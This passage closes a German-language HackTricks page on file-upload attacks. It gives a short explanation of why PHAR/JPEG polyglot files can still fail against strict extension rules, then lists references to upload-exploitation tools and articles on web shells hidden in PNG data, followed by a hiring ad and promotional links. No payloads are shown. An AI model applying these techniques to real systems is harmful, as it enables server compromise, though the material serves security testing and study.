Trotz ihrer Anpassungsfähigkeit stoßen Polyglotte auf Einschränkungen. Beispielsweise kann ein Polyglott gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpern, aber der Erfolg seines Uploads könnte von den Dateierweiterungsrichtlinien der Plattform abhängen. Wenn das System strenge Richtlinien für zulässige Erweiterungen hat, reicht die bloße strukturelle Dualität eines Polyglotts möglicherweise nicht aus, um seinen Upload zu garantieren.
|
||
|
||
Mehr Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||
|
||
## Referenzen
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
|
||
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||
|
||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||
|
||
</details>
|